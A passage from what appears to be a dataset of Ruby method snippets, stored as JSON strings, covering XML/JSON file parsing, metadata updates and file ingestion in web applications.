e.message + \"\\n\" + e.backtrace.join(\"\\n\")\n end\n end",
"def parsePhotoRequestReponseXMl\n logger.debug(\"PARSING FILES.\")\n Dir.glob(File.join(LOCAL_DIR, FILE_EXTN)).each do |file|\n begin\n doc = Nokogiri::XML.parse(File.open(file)) { |xml| xml.noblanks }\n project = doc.root.child\n project.children.each do |shotGrp|\n if shotGrp.name == \"ShotGroup\"\n puts shotGrp.name\n puts \"SalsifyID: \" + shotGrp[\"SalsifyID\"]\n puts \"ShotGroupStatus: \" + shotGrp[\"ShotGroupStatus\"]\n #products[shotGrp[\"SalsifyID\"]] = shotGrp[\"ShotGroupStatus\"]\n end\n end\n rescue Exception => e\n logger.debug(\"Error is processing file \" + file + \" \" + e.message)\n next\n end\n end\n products\n logger.debug(\"PARSING COMPLETED.\")\n end",
"def parse_publications_file\n # Each xml file has multiple items\n # Each Item contains the following elements\n # properties\n # md-records -> md-record -> publication\n # components (= files)\n # relations\n # resources\n # Open publications xml file\n pub_xml = File.open(metadata_file) { |f| Nokogiri::XML(f) }\n\n # Each xml file has multiple items\n pub_xml.xpath('/root/item').each do |item|\n # Set defaults\n work_id = nil\n attributes = {}\n files = []\n files_ignored = []\n files_missing = []\n remote_files = []\n error = nil\n\n # Get attributes\n attributes = get_properties(item)\n attributes.merge!(get_metadata(item))\n\n # Get files\n files_list = get_components(item)\n files = files_list[0]\n files_ignored = files_list[1]\n files_missing = files_list[2]\n\n if debug\n log_progress(metadata_file, work_id, @collection, files, files_ignored, files_missing, attributes, error)\n next\n end\n\n # Import publication\n begin\n # Set work id to be same as the id in metadata\n work_id = attributes[:id] unless attributes.fetch(:id, nil).blank?\n h = Importers::HyraxImporter.new('Publication', attributes, files, remote_files, nil, work_id)\n h.import\n rescue StandardError => exception\n error = exception.backtrace\n end\n\n # log progress\n log_progress(metadata_file, work_id, @collection, files, files_ignored, files_missing, attributes, error)\n end\n end",
"def run\n admin_set\n return unless errors.empty?\n metadata_files.each { |file| parse_metadata(file) }\n end",
"def recents\n files = session[:user].x_files.all(:last_update.gte => (DateTime.now - 20.days), folder: false, limit: 20)\n files_list = []\n files.each do |file|\n files_list.push(file.description(session[:user])) if file.folder || (!file.folder && file.uploaded)\n end\n @result = { files: files_list, success: true }\n end",
"def get_imageinfo(files,props = :imageinfo)\n result=Array.new\n \n iiprop=CGI.escape(\"timestamp|user|url|dimensions|comment\")\n doc=Nokogiri::XML(open(\"http://commons.wikipedia.org/w/api.php?format=xml&action=query&prop=#{props.to_s}&titles=#{files}&iiprop=#{iiprop}\"))\n\n xp=\"//api/query/pages/page/imageinfo/ii\"\n xp=\"//api/query/pages/page/globalusage/gu\" if props==:globalusage\n\n ctr=0\n element=doc.xpath(xp).each do |element| \n img=Hash.new\n element.attributes.each do |a|\n img[a[0].to_sym]=element.get_attribute(a[0])\n end \n result << img\n \n @stockpile[\"#{@imagelist[ctr]}\"]=Hash.new unless @stockpile[\"#{@imagelist[ctr]}\"]\n @stockpile[\"#{@imagelist[ctr]}\"][props]=img\n ctr=ctr+1\n end\n result\n end",
"def metadata_files\n return @metadata_files unless @metadata_files.nil?\n @metadata_files = MetadataFile.all\n @existing_files, @new_files = [], []\n @metadata_files.each do |f|\n if f.cached?\n @existing_files << f\n else\n @new_files << f\n end\n end\n end",
"def parse_files\n #Hash to store our results\n @host_results = Hash.new\n @log.debug(\"Files to be looked at : #{@scan_files.join(', ')}\")\n @scan_files.each do |file| \n file_content = File.open(file,'r').read\n begin\n @log.debug(\"File name is \" + file)\n doc = JSON.parse(file_content)\n rescue JSON::ParserError => e\n @log.warn(\"We got an error parsing #{file}\")\n next\n end\n #Make sure that the file is actually XML\n begin\n @log.debug(\"Got a sslyze file called #{file}, processing\")\n parse_file(doc)\n rescue Exception => e\n @log.warn(\"We got an error parsing #{file}\")\n @log.warn(e)\n end\n end\n end",
"def extract_metadata(file)\n document = parse_kramdown(file)\n toc = ::Kramdown::Converter::Toc.convert(document.root)\n toc_items = toc[0].children.select { |el| el.value.options[:level] == 2 }.map do |t| \n {:id => t.attr[:id], :text => t.value.children.first.value}\n end\n\n metadata = document.root.options[:metadata]\n metadata[:toc] = toc_items\n metadata[:converted] = document.to_html\n metadata[:technologies] = metadata[:technologies].split(\",\").collect {|tech| tech.strip}\n metadata[:images] = find_images(document.root)\n metadata[:author] = metadata[:author].split(',').first if metadata[:author]\n metadata[:commits] = commit_info @repo, Pathname.new(file)\n metadata[:current_tag] = current_tag @repo, Pathname.new(file)\n metadata[:current_branch] = current_branch @repo, Pathname.new(file)\n metadata[:github_repo_url] = repository_url @repo\n metadata[:contributors] = metadata[:commits].collect { |c| c[:author] }.uniq\n metadata[:contributors_email] = metadata[:commits].collect { |c| c[:author_email] }.uniq\n metadata[:contributors].delete(metadata[:author])\n metadata[:product] = @product if @product\n metadata[:experimental] = @experimental\n metadata\n end",
"def metadata_ingest_files\n return if params[:metadata_ingest_files].blank?\n params[:metadata_ingest_files].map do |metadata|\n metadata = JSON.parse(metadata, symbolize_names: true)\n file = Valkyrie::StorageAdapter.find_by(id: metadata[:id])\n PendingUpload.new(\n id: SecureRandom.uuid,\n storage_adapter_id: file.id,\n created_at: Time.current,\n file_name: metadata[:filename],\n type: metadata[:type]\n )\n rescue\n nil\n end.compact\n end",
"def apply_file_metadata(params)\n uploaded_file_ids = params[\"uploaded_files\"]\n return if uploaded_file_ids.nil?\n uploaded_file_ids.each do |uploaded_file_id|\n uploaded_file = find_or_create_uploaded_file(uploaded_file_id)\n next if uploaded_file.pcdm_use == \"primary\"\n apply_metadata_to_uploaded_file(uploaded_file, params)\n end\n params[\"etd\"].delete(\"supplemental_file_metadata\")\n params # return the params after processing, for ease of testing\n end",
"def process_file_versions(json)\n dig_f = {}\n unless json['file_versions'].blank?\n embed_caption = ''\n rep_caption = ''\n json['file_versions'].each do |version|\n version['file_uri'].strip!\n if version.dig('publish') != false && (version['file_uri'].start_with?('http') ||\n version['file_uri'].start_with?('data:'))\n\n if version.dig('xlink_show_attribute') == 'embed'\n dig_f['thumb'] = version['file_uri']\n dig_f['represent'] = 'embed' if version['is_representative']\n # For an embedded file version, if the caption is empty,\n # 1. set the embed_caption to the title\n # 2. set the rep_caption to the title if it is a representative version\n if version['caption'].blank?\n embed_caption = version['title']\n rep_caption = version['title'] if version['is_representative']\n else\n # For an embedded file version, if the caption is not empty,\n # 1. set the embed_caption to the caption\n # 2. set the rep_caption to the caption if it is a representative version\n embed_caption = version['caption']\n rep_caption = version['caption'] if version['is_representative']\n end\n else\n dig_f['represent'] = 'new' if version['is_representative']\n dig_f['out'] = version['file_uri'] if version['file_uri'] != (dig_f['out'] || '')\n # if the caption is empty set the rep_caption to the title\n if version['caption'].blank?\n rep_caption = version['title']\n else\n # if the caption is not empty set the rep_caption to the caption\n rep_caption = version['caption']\n end\n end\n elsif !version['file_uri'].start_with?('http')\n Rails.logger.debug(\"****BAD URI? #{version['file_uri']}\")\n end\n end\n end\n # Use the representative caption for the caption in the PUI if there is a\n # representative caption\n if !rep_caption.blank?\n dig_f['caption'] = rep_caption\n elsif !embed_caption.blank?\n # Use the embed caption for the caption in the PUI if there is isn't a\n # representative caption but there is an embedded caption\n dig_f['caption'] = rep_caption\n end\n dig_f\n end",
"def changeMetadata\n begin\n \n \n # Gets parameters\n typename = params[:metadata_type].to_s.strip.downcase\n value = params[:metadata_value].to_s.strip\n\n if typename == \"\"\n render :text => \"Type of metadata not given.\", :status => 404\n return\n end\n \n if value == \"\"\n render :text => \"Value of metadata not given.\", :status => 404\n return\n end\n \n # Search for the user\n @user = User.find_by_username(params[:username].to_s.strip)\n if not @user\n # If the user was not found\n return\n render :text => \"User not found.\", :status => 404\n end\n \n # Search for the device\n findDeviceOfURI\n if @device != nil\n getPathAndFilename\n @devfile = @device.devfiles.find(:first, :conditions => ['name = ? and path = ?', @filename, @path])\n if @devfile == nil\n render :text => \"File was not found.\", :status => 404\n return\n end\n else\n # If the device was not found\n render :text => \"Device was not found.\", :status => 404\n return\n end\n \n # If updating description to devfile\n if typename == \"description\"\n @devfile.update_attribute(:description, value)\n render :text => \"Metadata description updated\", :status => 201\n return\n # If updating filetype to devfile\n elsif typename == \"filetype\"\n #TODO: Check valid mime type\n \n @devfile.update_attribute(:filetype, value)\n render :text => \"Metadata filetype updated\", :status => 201\n return\n \n # If updating metadata in blob\n elsif typename == \"uploaded\" or typename == \"latitude\" or typename == \"longitude\" or typename == \"filedate\" or typename == \"file_status\"\n # Looks for right version of the file\n if params[:version] != nil\n puts \"Fetching version: \" + params[:version]\n @blob = @devfile.blobs.find(:first, :conditions => ['version = ?', params[:version]])\n if not @blob\n render :text => \"Version of the file was not found.\", :status => 404\n return\n end\n if typename == \"filedate\"\n # Create new DateTime object from given value \n newtime = DateTime.strptime(value, '%F %T')\n @blob.update_attribute(:filedate, newtime)\n render :text => \"Metadata filedate updated\", :status => 201\n return\n elsif typename == \"uploaded\" or typename == \"file_status\" \n if value == \"0\" #or intti == 1 can only be changed to non-cached\n intti = value.to_i\n puts \"foo\" \n @blob.update_attribute(:uploaded, intti)\n render :text => \"Metadata uploaded updated\", :status => 201\n return\n else\n render :text => \"Invalid metadata value\", :status => 404\n return\n end\n \n elsif typename == \"latitude\"\n latitude = value.to_f\n @blob.update_attribute(:latitude, latitude) \n render :text => \"Metadata latitude updated to #{latitude}\", :status => 201\n return \n elsif typename == \"longitude\"\n longitude = value.to_f\n @blob.update_attribute(:longitude, longitude)\n render :text => \"Metadata longitude updated to #{longitude}\", :status => 201\n return\n end\n # If version of the file was not given\n else\n render :text => \"Version of the file needed.\", :status => 404\n return\n end\n \n # Can't change metadata value from: name, path, creater_at, updated_at, privatefile, \n # size, upload_requested, thumbnail_name, version, blob_hash \n elsif typename == \"name\" or typename == \"path\" or typename == \"created_at\" or typename == \"privatefile\" or\n typename == \"size\" or typename == \"upload_requested\" or typename == \"thumbnail_name\" or\n typename == \"version\" or typename == \"blob_hash\"\n render :text => \"Can't change this metadata from devfile or blob.\", :status => 404\n return\n \n else \n # Checks that metadata type is already added\n type = MetadataType.find_by_name(typename)\n \n if not type\n # If there is not such metadata type already added\n render :text => \"Metadata type not found. Please add metadata type first.\", :status => 404\n return\n end\n \n # Checks that value is either string/float/date/datetime, according to value_type from metadata_types\n if type.value_type == \"string\"\n # String doesn't need to be checked?\n \n elsif type.value_type == \"float\"\n # Check that value has float\n if value !~ /^\\s*[+-]?((\\d+_?)*\\d+(\\.(\\d+_?)*\\d+)?|\\.(\\d+_?)*\\d+)(\\s*|([eE][+-]?(\\d+_?)*\\d+)\\s*)$/\n render :text => \"Invalid float type\", :status => 404\n return\n end\n \n elsif type.value_type == \"date\"\n # Check that value is valid date\n \n value = QueryController::transform_date(value) \n\n begin\n Date.new(value[0..3].to_i, value[5..6].to_i, value[8..9].to_i)\n rescue \n render :text => \"invalid date\", :status => 404\n return\n end\n \n elsif type.value_type == \"datetime\"\n if not QueryController::check_datetime(value)\n render :text => \"invalid datetime\", :status => 404\n return\n end\n\n else\n # Couldn't find value_type. You should never find yourself here\n render :text => \"Error adding metadata, contact support hotline\", :status => 404\n return\n end\n\n \n # \n if @devfile\n \n metadata = Metadata.find(:first, :conditions => ['metadata_type_id = ? and devfile_id = ?', type.id, @devfile.id])\n if metadata and typename != \"tag\"\n metadata.update_attribute(:value, value)\n \n \n if typename == \"context_hash\"\n \n \n context = Context.find_by_context_hash(value)\n if context \n Thread.new{\n puts \"kylla lahtee\"\n XmppHelper::notificationToContextNode(@devfile, context, \"Context content updated!\", \"content-added-to-context\") \n }\n end\n end\n \n \n render :text => \"Metadata value changed\", :status => 200\n return\n end \n if params[:version] != nil\n puts \"Fetching version: \" + params[:version]\n @blob = @devfile.blobs.find(:first, :conditions => ['version = ?', params[:version]])\n if not @blob\n render :text => \"Version of the file was not found.\", :status => 404\n return\n end\n Metadata.find_or_create_by_value_and_blob_id_and_devfile_id_and_metadata_type_id(value, @blob.id, @devfile.id, type.id)\n else \n Metadata.find_or_create_by_value_and_blob_id_and_devfile_id_and_metadata_type_id(value, nil, @devfile.id, type.id)\n end\n render :text => \"Metadata added\", :status => 201\n return\n end\n end\n \n rescue ArgumentError\n render :text => \"Invalid arguments\", :status => 409\n rescue => e\n puts \"Error in updating metadata\".background(:red)\n puts e\n end\n end",
"def update_metadata(filename, metadata, path, site_path=nil)\n sanitized_filename = sanitize_filename(filename)\n url = computed_web_api_url(site_path)\n server_relative_url = \"#{site_path}#{path}/#{sanitized_filename}\"\n easy = ethon_easy_json_requester\n easy.url = uri_escape \"#{url}GetFileByServerRelativeUrl('#{server_relative_url}')/ListItemAllFields\"\n easy.perform\n\n __metadata = JSON.parse(easy.response_body)['d']['__metadata']\n update_metadata_url = __metadata['uri']\n prepared_metadata = prepare_metadata(metadata, __metadata['type'])\n\n easy = ethon_easy_json_requester\n easy.headers = { 'accept' => 'application/json;odata=verbose',\n 'content-type' => 'application/json;odata=verbose',\n 'X-RequestDigest' => xrequest_digest(site_path),\n 'X-Http-Method' => 'PATCH',\n 'If-Match' => \"*\" }\n easy.http_request(update_metadata_url,\n :post,\n { body: prepared_metadata })\n easy.perform\n check_and_raise_failure(easy)\n easy.response_code\n end",
"def xpath\n [\n \"//contentMetadata/resource/file[@id=\\\"#{druid}.txt\\\"]\",\n \"//contentMetadata/resource[@type='page']/file[@role='transcription'][@mimetype='text/plain' or @mimetype='text/html' or @mimetype='application/xml' or @mimetype='application/alto+xml']\"\n ]\n end",
"def parse_files files\n file_list = gather_files files\n @stats = RDoc::Stats.new @store, file_list.length, @options.verbosity\n\n return [] if file_list.empty?\n\n original_options = @options.dup\n @stats.begin_adding\n\n file_info = file_list.map do |filename|\n @current = filename\n parse_file filename\n end.compact\n\n @stats.done_adding\n @options = original_options\n\n file_info\n end",
"def extract_metadata; end",
"def list\n files_mask = \"*.xml\"\n if current_user.role != \"admin\"\n files_mask = \"#{current_user.fileprefix}-*.xml\"\n end\n pending_path = ENV[\"EAD_XML_PENDING_FILES_PATH\"] + \"/#{files_mask}\"\n Rails.logger.info(\"Loading pending files at #{pending_path}\")\n\n file_list = []\n Dir[pending_path].each do |file|\n file_info = {\n name: File.basename(file, \".xml\"),\n timestamp: File.mtime(file),\n display_date: File.mtime(file).strftime(\"%Y-%m-%d %I:%M %p\")\n }\n file_list << file_info\n end\n file_list.sort_by! {|x| x[:timestamp]}.reverse!\n\n @presenter = UploadPresenter.new()\n @presenter.configure(pending_path, file_list, current_user)\n render\n rescue => ex\n render_error(\"list\", ex, current_user)\n end",
"def create_from_xml\n unless params[:metadata_file].present?\n flash[:notice] = t('dri.flash.notice.specify_valid_file')\n @error = t('dri.flash.notice.specify_valid_file')\n return false\n end\n\n xml_ds = XmlDatastream.new\n begin\n xml_ds.load_xml(params[:metadata_file])\n rescue DRI::Exceptions::InvalidXML\n flash[:notice] = t('dri.flash.notice.specify_valid_file')\n @error = t('dri.flash.notice.specify_valid_file')\n return false\n rescue DRI::Exceptions::ValidationErrors => e\n flash[:notice] = e.message\n @error = e.message\n return false\n end\n\n if xml_ds.metadata_standard.nil?\n flash[:notice] = t('dri.flash.notice.specify_valid_file')\n @error = t('dri.flash.notice.specify_valid_file')\n return false\n end\n\n @object = DRI::Batch.with_standard xml_ds.metadata_standard\n @object.update_metadata xml_ds.xml\n checksum_metadata(@object)\n warn_if_has_duplicates(@object)\n\n if @object.descMetadata.is_a?(DRI::Metadata::EncodedArchivalDescriptionComponent)\n flash[:notice] = t('dri.flash.notice.specify_valid_file')\n @error = t('dri.flash.notice.specify_valid_file')\n return false\n end\n\n unless @object.collection?\n flash[:notice] = t('dri.flash.notice.specify_collection')\n @error = t('dri.flash.notice.specify_collection')\n return false\n end\n\n @object.apply_depositor_metadata(current_user.to_s)\n @object.manager_users_string = current_user.to_s\n @object.discover_groups_string = 'public'\n @object.read_groups_string = 'public'\n @object.master_file_access = 'private'\n\n @object.ingest_files_from_metadata = params[:ingest_files] if params[:ingest_files].present?\n\n true\n end",
"def process_response(response)\n\n if response and response.is_a? Nokogiri::XML::NodeSet and response.length > 0\n @last_revision = response.first.attr('revision')\n response.map do |entry|\n\n body = []\n entry.css('path').each do |path|\n body.push \"#{path.attr('action')} #{path.text.gsub(/^\\//, '')}\"\n end\n\n body = [body.join(\"\\n\")]\n\n message = entry.css('msg').text.gsub(/\\n/, ' | ')\n\n body.push \"#{entry.css('author').text.upcase}: #{message}\" if entry.css('msg').length > 0\n body.push Time.parse(entry.css('date').text)\n\n {\n id: \"#{@url}|#{entry.attr('revision')}\",\n title: \"#{entry.css('author').text} | Rev. #{entry.attr('revision')}\",\n body: body.join(\"\\n----\\n\"),\n icon_path: File.realpath(\"#{APPLICATION_PATH}/assets/svn.png\"),\n object: entry\n }\n\n end\n elsif response and response.is_a? Exception\n response\n else\n []\n end\n end",
"def describe\n self.mclient = get_metadata_client\n begin\n response = self.mclient.request :describe_metadata do |soap|\n soap.header = get_soap_header \n soap.body = \"<apiVersion>#{MM_API_VERSION}</apiVersion>\"\n end\n rescue Savon::SOAP::Fault => fault\n raise Exception.new(fault.to_s)\n end\n puts \"<br/><br/> describe response: \" + response.to_hash.inspect\n hash = response.to_hash\n folders = Array.new\n hash[:describe_metadata_response][:result][:metadata_objects].each { |object| \n children = []\n if object[:child_xml_names] and object[:child_xml_names].kind_of? String\n children.push(object[:child_xml_names])\n else\n children = object[:child_xml_names]\n end\n folders.push({\n :title => object[:directory_name],\n :isLazy => true,\n :isFolder => true,\n :directory_name => object[:directory_name],\n :meta_type => object[:xml_name],\n :select => CORE_METADATA_TYPES.include?(object[:xml_name]) ? true : false,\n :child_metadata => children,\n :has_child_metadata => ! children.nil?,\n :in_folder => object[:in_folder]\n })\n }\n folders.sort! { |a,b| a[:title] <=> b[:title] }\n puts \"\\n\\n\\n\\n\\n\"\n puts folders.to_json\n return folders.to_json\n end",
"def create_from_xml\n unless params[:metadata_file].present?\n flash[:notice] = t('dri.flash.notice.specify_valid_file')\n @error = t('dri.flash.notice.specify_valid_file')\n return false\n end\n\n xml_ds = XmlDatastream.new\n begin\n xml_ds.load_xml(params[:metadata_file])\n rescue DRI::Exceptions::InvalidXML\n flash[:notice] = t('dri.flash.notice.specify_valid_file')\n @error = t('dri.flash.notice.specify_valid_file')\n return false\n rescue DRI::Exceptions::ValidationErrors => e\n flash[:notice] = e.message\n @error = e.message\n return false\n end\n\n if xml_ds.metadata_standard.nil?\n flash[:notice] = t('dri.flash.notice.specify_valid_file')\n @error = t('dri.flash.notice.specify_valid_file')\n return false\n end\n\n @object = DRI::DigitalObject.with_standard xml_ds.metadata_standard\n @object.update_metadata xml_ds.xml\n checksum_metadata(@object)\n warn_if_has_duplicates(@object)\n\n if @object.descMetadata.is_a?(DRI::Metadata::EncodedArchivalDescriptionComponent)\n flash[:notice] = t('dri.flash.notice.specify_valid_file')\n @error = t('dri.flash.notice.specify_valid_file')\n return false\n end\n\n unless @object.collection?\n flash[:notice] = t('dri.flash.notice.specify_collection')\n @error = t('dri.flash.notice.specify_collection')\n return false\n end\n\n @object.apply_depositor_metadata(current_user.to_s)\n @object.manager_users_string = current_user.to_s\n @object.discover_groups_string = 'public'\n @object.read_groups_string = 'public'\n @object.master_file_access = 'private'\n\n @object.ingest_files_from_metadata = params[:ingest_files] if params[:ingest_files].present?\n\n true\n end",
"def metadata\n Hash.from_xml(self[:metadata])['hash']\n end",
"def parse_xml xml_doc\n return nil if xml_doc.at(\"title\").nil?\n @id = id\n\n %w[title description upload_date number_of_likes number_of_plays width height number_of_comments url duration].each do |attribute|\n instance_variable_set(\"@#{attribute}\", xml_doc.at(attribute).inner_html)\n end\n\n @owner = User.new\n %w[id username display_name is_plus is_staff profileurl realname username videosurl].each do |attribute|\n @owner.instance_variable_set(\"@#{attribute}\", xml_doc.at(\"owner\").attributes[attribute])\n end\n\n (xml_doc/:thumbnail).each do |thumbnail|\n @thumbs << build_thumbnail(thumbnail)\n end\n end",
"def processFiles\n readRemoteXML\n parsePhotoRequestReponseXMl2\n handle_files\n zip_files\n end",
"def update_metadata_from_attachment(filename,fullpath, mime_type, nokodoc,locale)\n thisfile = File.new(\"#{fullpath}\")\n app_area = nokodoc.xpath(\"//meta[@name = 'app_area']/@content\")\n product = nokodoc.xpath(\"//meta[@name = 'product']/@content\")\n role = nokodoc.xpath(\"//meta[@name = 'role']/@content\")\n edition = nokodoc.xpath(\"//meta[@name = 'edition']/@content\")\n topic_type = nokodoc.xpath(\"//meta[@name = 'product']/@content\")\n identifier = nokodoc.xpath(\"//meta[@name = 'DC.Identifier']/@content\")\n maintitle = nokodoc.xpath(\"//meta[@name = 'SFDC.Title']/@content\")\n technology = nokodoc.xpath(\"//meta[@name = 'SFDC.Technology']/@content\")\n doctype = nokodoc.xpath(\"//meta[@name = 'SFDC.Type']/@content\")\n homelink = nokodoc.xpath(\"//meta[@name = 'SFDC.MainTopic']/@content\")\n upload_attachment(filename,locale,fullpath, mime_type,filename)\n perm_and_edition_tables=nokodoc.xpath('//table[contains(@class, \"permTable\") or contains(@class, \"editionTable\")]').inner_text()\n body_content=nokodoc.xpath('//body')\n # Remove items we don't want returned in the search snippet\n body_content.xpath('//table[contains(@class, \"permTable\") or contains(@class, \"editionTable\")]').remove\n body_content.xpath('//h1[1]').remove\n body_content.xpath('//*[contains(@class, \"breadcrumb\")]').remove\n# content=EscapeUtils.escape_html(body_content.children().inner_text())\n content=body_content.children().inner_text()\n title=nokodoc.xpath('//title[1]').inner_text()\n\n @thistopic = Topic.by_topicname_and_locale.key([\"#{filename}\",\"#{locale}\"]).first\n begin\n # If @thistopic doesn't exist, it will be a NilClass, which\n # doesn't have the update_attributes method. We need to catch\n # that.\n @thistopic.update_attributes(\n :version_removed => CURRENT_PATCH,\n :api_version_removed => CURRENT_API_VERSION,\n :locale => locale,\n :topicname => filename,\n :app_area => app_area,\n :product => product,\n :role => role,\n :edition => edition,\n :topic_type => topic_type,\n :identifier => identifier,\n :content => content,\n :perm_and_edition_tables => perm_and_edition_tables,\n :title => title,\n :maintitle => maintitle,\n :technology => technology,\n :doctype => doctype,\n :homelink => homelink\n )\n rescue NoMethodError\n STDERR.puts \"Error: Could not update the attributes on #{filename}. Check the couchdb connection.\"\n STDERR.puts \"#{$!}\"\n rescue RestClient::RequestFailed => e\n STDERR.puts \"Error: Could not update the attributes on #{filename}.\"\n if (e.http_code == 409 or e.http_code == 412)\n then\n STDERR.puts \"The problem was caused by a conflict or a precondition issue. Trying again.\"\n @thistopic.reload\n begin\n @thistopic.update_attributes(\n :version_removed => CURRENT_PATCH,\n :api_version_removed => CURRENT_API_VERSION,\n :locale => locale,\n :topicname => filename,\n :app_area => app_area,\n :product => product,\n :role => role,\n :edition => edition,\n :topic_type => topic_type,\n :identifier => identifier,\n :content => content,\n :perm_and_edition_tables => perm_and_edition_tables,\n :title => title,\n :maintitle => maintitle,\n :technology => technology,\n :doctype => doctype,\n :homelink => homelink\n )\n STDERR.puts \"Success!\"\n rescue\n STDERR.puts \"Nope. Updating the attributes on #{filename} still failed.\"\n # Now add it to the SOLR search index.\n else\n begin\n index_topic_with_solr(@thistopic)\n rescue\n STDERR.puts \"Couldn't add #{filename} to the SOLR index\"\n end\n end\n else\n STDERR.puts \"There was an error (#{e.http_code}) updating #{filename}.\"\n end\n rescue\n STDERR.puts \"Error: Could not update the attributes on #{filename}.\"\n STDERR.puts \"#{$!}\"\n raise\n else\n # Now add it to the SOLR search index.\n begin\n index_topic_with_solr(@thistopic)\n rescue\n STDERR.puts \"Couldn't add #{filename} to the SOLR index\"\n end\n end\n thisfile.close\nend",
"def altered_files\n parse!\n @altered_files\n end",
"def parse! raw_xml_response, mediainfo_object\n # puts \"#{raw_xml_response}\"\n REXML::Document.new(raw_xml_response).elements.each(\"/Mediainfo/File/track\") { |track|\n # we create a \"Stream\" object, depending on the Stream type\n stream = StreamFactory.create track.attributes['type']\n\n # we get each tag about the stream\n track.children.select { |n| n.is_a? REXML::Element }.each do |c|\n # we convert the tag name to a ruby-attribute-compatible name\n tag_name = c.name.strip # remove whitespaces at the beginning and the end\n tag_name = tag_name.gsub(/ +/, \"_\") # we replace spaces by '_'\n # we replace characters forbidden in Ruby method names by '_':\n tag_name = tag_name.gsub(/[\\(\\)\\{\\}\\[\\]\\*\\/\\\\,;\\.:\\+=\\-\\^\\$\\!\\?\\|@#\\&\"'`]+/, '_')\n tag_name = tag_name.gsub(/^_+/, \"\") # remove '_' at the beginning\n tag_name = tag_name.gsub(/_+$/, \"\") # remove '_' at the end\n tag_name = tag_name.gsub(/_+/, \"_\") # we replace several '_' following by a single one\n tag_name = tag_name.downcase\n\n # if there is an attribute in the Stream class,\n # that has the same name as the tag name, we set it with the tag content\n if stream.class.method_defined? tag_name + \"=\"\n # we call the method which name is the content of the string tag_name\n stream.send tag_name + \"=\", c.text.strip\n else\n # to print the tag ignored, in case we want to support them\n # puts \"#{stream.class}: tag ignored: #{tag_name}, #{c.text.strip}\"\n end\n end\n \n # we add the Stream objects to the MediaInfo object\n mediainfo_object.streams << stream\n }\n end",
"def update\n enforce_permissions!('update', params[:id])\n\n param = params[:xml].presence || params[:metadata_file].presence\n\n if param\n xml_ds = XmlDatastream.new\n xml_ds.load_xml(param)\n else\n flash[:notice] = t('dri.flash.notice.specify_valid_file')\n redirect_to controller: 'catalog', action: 'show', id: params[:id]\n return\n end\n\n @object = retrieve_object!(params[:id])\n @errors = nil\n\n unless can? :update, @object\n raise Hydra::AccessDenied.new(t('dri.flash.alert.edit_permission'), :edit, '')\n end\n\n @object.update_metadata xml_ds.xml\n if @object.valid?\n checksum_metadata(@object)\n warn_if_has_duplicates(@object)\n\n begin\n raise DRI::Exceptions::InternalError unless @object.attached_files[:descMetadata].save\n rescue RuntimeError => e\n logger.error \"Could not save descMetadata for object #{@object.id}: #{e.message}\"\n raise DRI::Exceptions::InternalError\n end\n\n begin\n raise DRI::Exceptions::InternalError unless @object.save\n\n version_and_record_committer(@object, current_user)\n flash[:notice] = t('dri.flash.notice.metadata_updated')\n rescue RuntimeError => e\n logger.error \"Could not save object #{@object.id}: #{e.message}\"\n raise DRI::Exceptions::InternalError\n end\n else\n flash[:alert] = t('dri.flash.alert.invalid_object', error: @object.errors.full_messages.inspect)\n @errors = @object.errors.full_messages.inspect\n end\n\n @object.object_version ||= '1'\n @object.increment_version\n\n begin\n raise DRI::Exceptions::InternalError unless @object.save\n\n # Do the preservation actions\n preservation = Preservation::Preservator.new(@object)\n preservation.preserve(false, false, ['descMetadata','properties'])\n\n version_and_record_committer(@object, current_user)\n flash[:notice] = t('dri.flash.notice.metadata_updated')\n rescue RuntimeError => e\n logger.error \"Could not save object #{@object.id}: #{e.message}\"\n raise DRI::Exceptions::InternalError\n end\n\n respond_to do |format|\n format.html { redirect_to controller: 'my_collections', action: 'show', id: params[:id] }\n format.json { render json: @object }\n format.text do\n response = if @errors\n t('dri.flash.alert.invalid_object', error: @errors)\n else\n t('dri.flash.notice.metadata_updated')\n end\n\n render text: response\n end\n end\n end",
"def update_fileset_metadata(work, attrs)\n work.ordered_members.to_a.each_with_index do |member, i|\n builder = FileSetBuilder.new(member, user, attrs[i])\n builder.run\n end\n end",
"def update_files(resource)\n updated = files.select { |file| file.is_a?(Hash) }.map do |file|\n node = resource.file_metadata.select { |x| x.id.to_s == file.keys.first.to_s }.first\n node.updated_at = Time.current\n # Uses the UploadDecorator to abstract the interface for the File Object during persistence by the storage_adapter\n file_wrapper = UploadDecorator.new(file.values.first, node.original_filename.first)\n\n # Ensure that errors for one file are logged but do not block updates for others\n begin\n storage_adapter.upload(file: file_wrapper, original_filename: file_wrapper.original_filename, resource: node)\n node.label = file.values.first.original_filename\n node.mime_type = file.values.first.content_type\n node\n rescue StandardError => error\n Valkyrie.logger.error \"#{self.class}: Failed to update the file #{file_wrapper.original_filename} for #{node.id}: #{error}\"\n # Ensure that this file is not created instead of updated\n @files.delete_if { |updated_file| updated_file.values.first.original_filename == file_wrapper.original_filename }\n nil\n end\n end\n\n updated.compact\n end",
"def linkMetadataToResults(metas)\n\n # Go through metadata\n # m - has all metadata combined\n m = {} \n metas.each do |t|\n # Skip metadata from old blobs\n if t.metadata_blob_id != nil && t.devfile_blob_id != t.metadata_blob_id\n next\n end\n \n # n - has metadata of one file \n n = {}\n \n store = m[t.devfile_id]\n \n # Is there already data for this devfile_id\n if store == nil\n # No data for this devfile yet, create it\n n.merge!({t.metadatatype => t.metadata_value})\n \n # Add metadata of this file to combined metadata\n m.merge!({t.devfile_id => n })\n\n else\n block = store[t.metadatatype]\n\n # Is there already this metadatatype\n if block == nil\n # Create the new metadatatype for this file\n store.merge!({t.metadatatype => t.metadata_value})\n elsif t.metadatatype == \"tag\" or t.metadatatype == \"context_hash\"\n # Add new metadatatype for this file\n store.merge!({t.metadatatype => block + \", \" + t.metadata_value})\n end\n \n # Add metadata of this file to combined metadata\n m.merge!({t.devfile_id => store }) \n end\n end \n \n \n \n \n # link metadata to right result, with hash\n @results.each do |r|\n mdata = m[r.devfile_id.to_i]\n if mdata != nil\n #puts \"r: #{r.devfile_file_id.to_s}\"\n @metadatas.merge!({r.devfile_id.to_i => mdata})\n end\n end\n \n \n\n \n \n end",
"def update_xml_list\n # No file, we download it\n unless File.exists?(@xml_file) \n download_xml_list()\n end\n\n # File still young enough, we keep it\n if (Time.now() - File.mtime(@xml_file)).to_i < @download_delay\n puts \"Podcast list is up to date\"\n return\n end\n\n # We download a new file\n download_xml_list()\n end",
